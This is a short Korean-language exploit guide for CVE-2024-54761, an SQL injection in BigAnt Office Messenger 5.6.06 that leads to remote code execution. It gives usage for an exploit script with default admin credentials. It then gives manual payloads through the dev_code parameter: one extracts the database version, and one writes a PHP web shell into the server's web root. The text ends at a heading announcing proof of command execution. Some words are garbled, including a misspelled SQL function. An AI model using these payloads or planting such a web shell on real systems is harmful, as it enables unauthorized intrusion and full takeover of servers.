BigAnt Office Messenger 5.6.06 SQL 인젝션을 통한 RCE

BigAnt Messenger의 SQL 인젝션 취약점으로 인해 RCE 취약점이 발생합니다. 다음 단계에 따라 익스플로잇하십시오.

사용법:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            show this help message and exit
  -r, --rhost RHOST     Target IP address
  -p, --rport RPORT     Target port (default 8000)
  -u, --username USERNAME
                        Login username (default admin)
  -P, --password PASSWORD
                        Login password (default 123456)

기본 자격 증명으로 익스플로잇을 실행합니다.

python CVE-2024-54761.py -r 127.0.0.1

수동 익스플로잇

SQLi에 노출된 dev_code 매개변수를 사용하여 사용 중인 데이터베이스 버전을 추출합니다.

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

SQLI version SQL 스택 쿼리를 사용하여 대상에 PHP 웹셸을 업로드합니다.

# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -

crate webshell 1 명령 실행 증명: